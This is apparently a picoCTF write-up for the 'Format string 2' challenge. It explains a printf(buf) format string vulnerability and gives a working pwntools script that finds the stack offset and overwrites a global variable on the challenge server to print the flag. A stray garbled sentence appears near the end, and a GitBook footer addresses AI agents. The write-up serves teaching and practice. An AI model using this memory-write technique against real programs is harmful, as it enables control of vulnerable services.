> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/picoctf-writeups/picoctf/binary-exploitation/format-string-2.md).

# Format string 2

We are given this C code:

```c
int sus = 0x21737573;
```

This is a global variable. Right now its value is:

```
0x21737573
```

Later in the code:

```c
if (sus == 0x67616c66)
```

👉 The program will give us the flag **ONLY IF** we change `sus` to:

```
0x67616c66
```

So our goal is simple:

> Change the value of `sus` in memory.

***

### 🚨 Where is the Vulnerability?

This line is the problem:

```c
printf(buf);
```

Instead of:

```c
printf("%s", buf);
```

👉 This means **user input is directly used as a format string**.

This is a classic **Format String Vulnerability**.

***

### 💡 Why is this powerful?

Because with format strings like:

```
%x %x %x
```

we can read stack values.

And with:

```
%n
```

we can **write to memory**.

***

### 🎯 Goal

We want to:

* Write `0x67616c66` into `sus`
* `sus` is located at:

```
0x404060
```

***

### 🔍 Step 1: Finding the Offset

We need to know:

> At which position our input appears on the stack?

Instead of guessing manually, we used:

```python
autofmt = FmtStr(exec_fmt)
offset = autofmt.offset
```

👉 This automatically finds the correct offset.

Example output:

```
[*] Offset: 6
```

(This may vary, but assume it's 6)

***

### 🧠 What is "offset"?

It means:

> "Our input starts at position 6 on the stack"

So when we use `%6$n`, it refers to our controlled data.

***

### ⚙️ Step 2: Crafting Payload

We use:

```python
payload = fmtstr_payload(offset, {SUS_ADDR: 0x67616c66})
```

👉 This does everything for us:

* Splits value into parts
* Writes correctly using `%n`
* Handles padding

***

### 🧪 Final Exploit Script (Simplified)

Here’s a **clean and simple version** of your script:

```python
from pwn import *

HOST = 'rhea.picoctf.net'
PORT = 52516

sus_addr = 0x404060

# Step 1: Find offset
def send_payload(payload):
    p = remote(HOST, PORT)
    p.recvline()
    p.sendline(payload)
    p.recvall(timeout=2)
    p.close()
    return b''

offset = FmtStr(send_payload).offset
print("Offset:", offset)

# Step 2: Create payload
payload = fmtstr_payload(offset, {sus_addr: 0x67616c66})

# Step 3: Send payload
p = remote(HOST, PORT)
p.recvline()
p.sendline(payload)

print(p.recvall(timeout=3).decode())
```

***

### 🚀 Step 3: Getting the Flag

When we send the payload:

👉 It overwrites:

```
sus = 0x67616c66
```

Now condition becomes:

```c
if (sus == 0x67616c66)
```

✅ TRUE!

So program executes:

```c
fopen("flag.txt", "r");
fgets(flag, 64, fd);
printf("%s", flag);
```

👉 And prints the flag 🎉

***

### 🔥 Final Flow (Super Simple)

1. Program takes input
2. Uses `printf(buf)` → vulnerable
3. We send format string payload
4. Payload writes to memory (`sus`)
5. `sus` becomes correct value
6. Condition passes
7. Flag is printeds)\*\* — that’s where real understanding gets strong.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/picoctf-writeups/picoctf/binary-exploitation/format-string-2.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.